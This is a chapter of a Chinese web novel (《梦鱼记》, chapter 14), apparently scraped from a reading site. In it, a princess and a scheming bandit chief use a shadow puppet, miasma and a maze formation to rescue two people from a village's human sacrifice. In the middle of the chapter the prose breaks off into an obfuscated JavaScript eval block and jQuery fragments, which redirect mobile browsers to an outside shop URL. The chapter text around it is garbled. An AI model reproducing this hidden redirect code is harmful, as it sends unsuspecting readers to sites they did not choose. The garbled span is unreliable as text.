14.鱼儿游向第一场梦14

作品:《梦鱼记

    在他们头顶,女贞树碎白的花瓣摇摇欲坠。


    此景必然诡谲。一边是蛊惑他的神秘少女;一边是载歌载舞的人祭进行时。


    可真正别有目的的人,不是他吗?


    晏棠眼睛轻轻眯了一下,听到李鱼桃道谢:“虽然我一人也可以,但是你愿意留下来帮我,我日后会报答你。”


    她日日将“报答”挂在口上,好像他贪图她什么一样。


    晏棠想笑:他倒是贪图她的性命,她愿意即刻死在他面前吗?


    李鱼桃听到晏棠徐徐道:“倒也不必日后,你可以直接报答。”


    李鱼桃吃惊又怨怼:忙还没帮,就要谈条件?


    晏棠:“倘若我们成功,你便告诉在下,你腰下这枚玉佩的故事。”


    李鱼桃怔住。


    晏棠:“不行?”


    李鱼桃:“……倒也不是不行。只是我的玉佩没有故事。”


    晏棠:“那你本人也没故事吗?你没什么想对在下说的吗?”


    他专注看她,李鱼桃半晌无言。


    女贞树花簌簌落,像透白的月光。她与他在喧嚣的祭祀高台后、人群外对视。


    她从未与他说过自己的“穿越”。


    她以昭宁公主身份自居,他为她所迷,但只消他脑子正常,他也不会全无疑问。他对自己的爱人满心好奇,而李鱼桃想,她愿意与晏棠建立一点儿信任。


    他是永泰十年的红尘陌路中,她唯一的旧人。


    于是,李鱼桃认真点头。


    接着,二人探听了祭祀流程后,蹲在地上,拿树枝写画,商议计策。


    李鱼桃小声:“今夜,大部分村民都会守在正中祭台前,而两个人祭者要被送入祠堂里祷告。明日天亮,他们会被关进棺木,抬出村子。然后,就是我们在树林中见的那样——”


    树林被烧成焦木,棺材里的人活生生被砍死。


    而这居然是献给女神的祭礼。


    李鱼桃压下自身的那点儿不适,说下去:“我们只有今夜的时间。这里的村民不正常:他们没想过人祭者会逃,人祭者也没想过逃。只要我们进入祠堂,同时有法子引走村民们……”


    晏棠摇头,温温柔柔道:“你没看出吗?那对人祭男女虽然没有逃亡的意识,但火烧上祭台时,他们本能害怕,被台下看守的人堵住路。所以,平木村会派人看守祠堂。”


    李鱼桃垮下脸。


    晏棠安慰她:“运气好的是,平木村的村民们跟你我一样,都不通武艺。”


    晏棠又道:“运气不好的是,他们常日伐木砍柴,比你我体魄好。”


    李鱼桃抱臂,睨他一眼,再次嫌弃起跟自己同行的人,怎么不是孟疏意那种武功高强的人呢。


    李鱼桃:“我有弓箭。只要拉开距离,我便不怕他们。可你能做什么?”


    晏棠思考。


    李鱼桃好奇:“你不会打斗,那平日在匪贼中怎么生存?用毒吗?”


    晏棠:“毒?唔,倒是提醒在下了……”


    李鱼桃疑惑,他微微笑:“在下懂一点儿画工,一点儿阵法,一点儿机关。”


    李鱼桃:“……没了?”


    晏棠:“够了。”


    他眉目虽温,却有傲意,这在二人相处中首次展现,让李鱼桃怔了一怔。


    李鱼桃毕竟是公主,颇有气度。用人不疑,他说他可以,她便全力信他。


    --


    李鱼桃二人在平木村与人周旋、私密布置的时候,孟疏意带着手下,下了山。


    他们本是下山继续找巫女,顺便和邕州那边联络,却无意中发现了山脚下有中原探子出没。


    李鱼桃的莫名出现,本就让孟疏意警惕。而今发现情势不对,孟疏意多方布置,抓捕那些探子。


    在山下逡巡的探子很快察觉螳螂在后。


    双方斗智斗勇数日,万民寨才好不容易抓到一人。当夜,孟疏意亲自审问这个抓到的探子。


    他在一个时辰后推门而出,脸色深沉:“中原皇帝果然派了很多人进入我们的地盘。我怀疑,已经有人偷偷进了莳良岭,想刺杀大当家。”


    门外的手下挠头:“咱们大当家,不是不在吗?”


    孟疏意大力拍手下的肩,笑道:“对啊,就让他们找吧。呵,连我们都找不到那‘棠花妖’,这些刺客能找到?这都在大当家预料之中。”


    手下陪他一起笑。


    不愧是大当家,算到了这一步。


    而孟疏意面色一转,训道:“可难道我们要寄希望于他们找不到大当家吗?还是得赶紧传讯给大当家——要他注意点。”


    手下吐苦水:“大当家留给咱们传讯的机关鸟,我们不熟练,总是飞不准方位。等机关鸟找到大当家,也不知道什么时候了……”


    孟疏意幽幽道:“这说不定也在你们大当家的预料之中?他和小美人卿卿我我,怕人打扰……”


    众人一起仰天长叹够了,才继续捉探子。


    --


    当夜子时,平木村的迎神礼结束后,人祭者被带去祠堂,而祭台前火堆旁,仍围着许多虔诚的信徒。


    连山已离去,蓝姑也不在。


    祠堂前,原先有两个村民看守。轮换的人到来,四人聚在一起聊起了天,看样子一时半会散不了。


    “嗖——”


    一只竹箭从墙外的树间射来,穿过他们头顶,砸在木栅上。


    四个人一下子醒神:“什么人?”


    一人捡起箭头:“肯定是那两个外来客……”


    祠堂前火光幽微,一片庞大的阴影从墙头一闪而过。


    四人中有两人被吓倒在地,却有一人目力好,指着墙头激动叫道:“是凤鸟!我看到了,是凤鸟的影子!密洛陀女神显灵了!”


    传说中,密洛陀女神骑着凤鸟,降临古瑶族,赐福一方。


    平木村的村民们信仰密洛陀女神,白日蓝姑发髻间的簪子都是凤鸟样式的,岂会不信凤鸟?


    凤鸟硕大的翅膀影子再一次在墙上闪过时,四人对凤鸟显灵深信不疑。


    趴在墙头,监视祠堂方向的李鱼桃,扭头惊讶看晏棠。


    青年手中拿着一个鸟型折纸,小小一片纸折成一只,鸡头、燕颔、鱼尾,是他白日用炭笔画的。


    自然,凤鸟想做出大翅拍天的影子来,需要提前琢磨好灯烛与墙壁、纸张的距离,一分不能差。


    李鱼桃白日帮他打掩护,没有细看,没想到夜里的效果,竟这样好。


    他这么厉害?


    不等李鱼桃佩服完,祠堂那边,有人激动得口吃:“我、我这就去通知大伙儿,去找族长、找连山……”


    趴在墙头外的李鱼桃心里一咯噔。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395527|199598||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    晏棠幽静:“遭了,要前功尽弃了……”


    “问题不大,”自信小公主背着弓,从墙根踩踏的大石上跳下,摇晃一下,“我来!”


    晏棠欲拦她,没拦住,见她像一片烟霞钻入树木后,朝那个激动跑远的守夜人追去。


    少女思路清晰,临走前还语速飞快:“我去追那个搅局的人,你进祠堂救人。稍后汇合。”


    晏棠回头,他的视力在夜中更加模糊,只看到剩余三人,朝着凤鸟飞走的方向追去。


    --


    “女神在上,庇护我……”


    “你们没发现凤鸟不见了吗?”


    三个村民迷糊中出了后村口,兜兜转转,再也没寻到凤鸟。


    四周黑黝黝,他们回头看,身后的路已经消失。他们给树做标记,但无论朝哪个方向走,又会走回标记的地方。


    “鬼、鬼打墙?”


    “凤鸟让我们送死?不会的!”


    三个人在树林中奔跑,黑林中风声赫赫,一重雾起——


    身在十万大山,谁不懂这是瘴疠?


    几人色变:“快、快捂住口鼻,不要吸气!”


    可他们出来的仓促,如何保证不吸入瘴疠?


    这一夜,不知是心中惊骇还是瘴毒逼人,他们精疲力尽,却连村子的影子都看不到。


    按说,他们根本没走出那么远。


    “救命,救命!有人听到吗!”


    他们听到踩着树枝的脚步声。


    几人齐齐扭头,一重雾再次挡在他们中间。雾气致幻,一层又一层,却没看到人影。无论他们说什么,瘴雾只在月光下迷乱。


    几人思绪混乱,忽又有人指着一个方向:“那里有东西飘过!一定是凤鸟!”


    这人急于追出,其余两人没拦住,眼看着这人冲向一棵参天巨树,一头撞上。


    再有一人跌在地上,开始发痴:“这是哪里?我们出山了么?太好了,我们离开十万大山了——”


    “你们清醒清醒,”捂住口鼻最严密的一人,已然憋得满头大汗,“这是瘴毒,是幻觉。”


    眼看两个朋友浑浑噩噩起身,要往树林深处走,他大急,一巴掌甩去——


    “啪!”


    被甩了巴掌的人跪在地上,两位同伴略微清醒,警惕观望,却见这人指着一个方向发抖。


    两个同伴扭头,一团白影飘过。


    他们骇然,彼此又踢又打、又咒又骂,朝四面八方分开逃跑。但这个树林一定有问题,他们在雾气中重新撞上彼此,赤手空拳跟空气打一通。


    树叶簌簌飞落,万籁俱静。三人脸色发白,汗水顺着眼睛滴落,而最开始畏惧的那个人忽然间抽一口气——


    他们看清白雾后不是鬼,也不是凤鸟,而是一个不该出现在此的人。


    他们此时已被折磨得大脑发懵,好不容易见到活人,不禁脱口而出:“晏、晏当家……”


    瘴疠后,刚扮鬼吓人的青年倚着树,摘下那如烟雾、如鬼气的帷帽。他长眉清淡眼睛艳丽,审视他们时,有种冰冷的非人感。可他却是笑着的。


    青年语调带笑,半宽慰,半逗弄:“这出戏好玩么?


    “你们这些……早就认出我是谁的邻居们。”


    明月当空,瘴疠惑人,阵法杀人,但晏棠才是十万大山最“无害”的大魔头。